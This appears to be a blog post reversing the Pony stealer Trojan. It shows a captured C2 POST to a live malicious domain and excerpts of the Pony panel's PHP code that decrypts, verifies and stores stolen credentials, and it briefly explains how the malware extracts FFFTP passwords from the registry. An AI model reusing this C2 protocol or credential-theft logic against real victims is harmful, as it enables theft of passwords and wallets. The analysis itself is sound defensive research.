Reversing the Pony Trojan part II
Pony is a stealer Trojan and has been active for quite a while now. It was responsible for stealing over $200,000 in bitcoins ( https://threatpost.com/latest-instance-of-pony-botnet-pilfers-200k-700k-credentials/104463/) . In this post, we will try to cover statically reversing the Pony Trojan.
Tools required:
- Vmware
- IDA Disassembler
- ollydbg Debugger
- Hex editor
If you haven't gone through Part I, we recommend you go through Part I before reading this.
In this post, we are going to examine the command and controls traffic and we are going to analyse statically the binary
Let's look at the pcap traffic
POST /gate.php HTTP/1.0
Host: titratresfi.ru
Accept: */*
Accept-Encoding: identity, *;q=0
Accept-Language: en-US
Content-Length: 274
Content-Type: application/octet-stream
Connection: close
Content-Encoding: binary
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
.....ql.H.l.W.*.F.udS]<...L....^.cF.;!....A5 v...<6.......D....Z.+.xld.{o.JFY`.D..Z....aP.}U...W..6..<NR.7@P.1..p5t.`......U
>..d.!..3..tHJ.J..I......g8...8.`..`.f...i..J..(r..MrnW...f.r.v[.......t.}...D`%}U...m...K.E.n..R&+.iD.:4...9.L....EnR...?.<...|.B...$o..
.../....AHTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 12 Nov 2015 15:35:16 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.4.41
.Z..O....&P..na..+..
This is a basic initialization request sent to the server and, apparently, it is encrypted. Let's look at the Pony panel source code to figure out what type of encryption it is using and how is can be decoded back
Looking at the source code of gat efor handing basic basic request we find out
It first checks if the size of greater than 12 and max_db_len_size . After that data is verified again a header in function verify_report_file_header() which tells us that it has a header as well .
Let's dig in to the source code of password_modules.php to find out.
We are able to locate the following functions responsible for verifying the packet header
public static function verify_new_file_header(&$data)
{
if (strlen($data) < 4)
return false;
$max_header_len = max(strlen(REPORT_HEADER), strlen(REPORT_PACKED_HEADER), strlen(REPORT_CRYPTED_HEADER));
$rc4_key = substr($data, 0, 4);
$encrypted_header = substr($data, 4, $max_header_len);
$decrypted_header = rc4Decrypt($rc4_key, $encrypted_header);
return self::verify_old_file_header($decrypted_header);
}
public static function verify_old_file_header(&$data)
{
if ((substr($data, 0, strlen(REPORT_HEADER))) == REPORT_HEADER)
return true;
if ((substr($data, 0, strlen(REPORT_PACKED_HEADER))) == REPORT_PACKED_HEADER)
return true;
if ((substr($data, 0, strlen(REPORT_CRYPTED_HEADER))) == REPORT_CRYPTED_HEADER)
return true;
return false;
}
public static function verify_report_file_header(&$data)
{
return self::verify_new_file_header($data) || self::verify_old_file_header($data);
}
It consists of two predefined headers new and old one and both of them are check consecutively.
Following are the defines for header magic keywords
define("REPORT_HEADER","PWDFILE0"); // each password report starts with this header
define("REPORT_PACKED_HEADER", "PKDFILE0"); // header indicating that report is packed
define("REPORT_CRYPTED_HEADER", "CRYPTED0"); // header indicating that report is encrypted
The maximum size of the header is 12 bytes, so twelve bytes after first 4 bytes always contains the header. First four bytes are used as rc4 key.
$rc4_key = substr($data, 0, 4);
$encrypted_header = substr($data, 4, $max_header_len);
$decrypted_header = rc4Decrypt($rc4_key, $encrypted_header);
After decryption, another function is called to decrypt the rest of the report and check the integrity of the report. i.e. pre_decrypt_report()
public static function pre_decrypt_report(&$data, $report_password = '')
{
if (self::verify_new_file_header($data))
{
self::rand_decrypt($data);
}
if ((substr($data, 0, strlen(REPORT_CRYPTED_HEADER))) != REPORT_CRYPTED_HEADER)
return false;
if (strlen($data) == 0)
{
return false;
} else if (strlen($data) < 12) // length cannot be less than 12 bytes (8-byte header + crc32 checksum)
{
return false;
} else if (strlen($data) > REPORT_LEN_LIMIT)
{
return false;
} elseif (strlen($data) == 12) // empty report
return false;
// extract crc32 checksum from datastream
$crc_chk = data_int32(substr($data, strlen($data)-4));
// remove crc32 checksum from the encrypted data stream
$encrypted_data = substr($data, 0, -4);
// check report validness
$crc_chk = obf_crc32($crc_chk);
if ((int)crc32($encrypted_data) != (int)$crc_chk)
{
return false;
}
$decrypted_data = rc4Decrypt($report_password, substr($encrypted_data, 8));
// there's another crc32 checksum available to verify the decryption process
// extract crc32 checksum from decrypted datastream
$crc_chk = data_int32(substr($decrypted_data, strlen($decrypted_data)-4));
// remove crc32 checksum from the data stream
$decrypted_data_check = substr($decrypted_data, 0, -4);
// check report validness
$crc_chk = obf_crc32($crc_chk);
if ((int)crc32($decrypted_data_check) != (int)$crc_chk)
{
return false;
}
$data = $decrypted_data;
return true;
}
}
In this function, the header is verified again and 4 bytes value is extracted from the end of data stream. This value is used as a CRC32 check sum for the data crc32 check sum is removed and then integrity is calculated.
After successfully verifying the crc32 hash. This data chunk after first 8 bytes is decoded with a predefined rc4 key taken form the database $report_password
$pony_db_report_password = $pony_db->get_option('report_password', '', REPORT_DEFAULT_PASSWORD);
Again crc32 check sum is extracted form the last 4 bytes of decrypted stream and is checked for integrity.
If it a type packed file then it is uncompressed with aplib . If it is a basic request, it is rc4 decrypted and parsed in a structure
// process report
ob_start(); // detect report processing noise
error_reporting(E_ALL);
$parse_result = $report->process_report($received_report_data, $pony_db_report_password);
$ob_data = trim(ob_get_contents());
error_reporting(0);
ob_end_clean();
Before it checks if the report ID is already present in the system and if so it does not proceed with creating a new ID for the particular report.
It then proceeds filling up information from unencrypted data into the database, which is of the following format.
$pony_db->update_parsed_report($report_id, $report->report_os_name, $report->report_is_win64, $report->report_is_admin, $report->report_hwid, $report->report_version_id, $url_list_array, $report->log->log_lines, $report->cert_lines, $report->wallet_lines, $email_lines);
Let's now have a look how Pony tries to steal passwords. All the routines responsible for stealing stored credentials are stored in a pointer array:
let's look at a function responsible for stealing FFFTP passwords.
It first looks for encoded stored password in SoftwareSotaFFFTP registry key and after all the keys are found it will try to decode them using its own decoding algorithm